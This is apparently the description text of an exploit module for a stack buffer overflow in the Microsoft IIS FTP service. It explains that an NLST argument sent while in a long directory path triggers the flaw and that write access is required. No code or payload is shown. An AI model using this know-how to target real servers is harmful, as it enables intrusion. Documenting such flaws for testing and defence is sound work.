          This module exploits a stack buffer overflow flaw in the Microsoft IIS FTP
        service. The flaw is triggered when a special NLST argument is passed
        while the session has changed into a long directory path. For this exploit
        to work, the FTP server must be configured to allow write access to the
        file system (either anonymously or in conjunction with a real account)
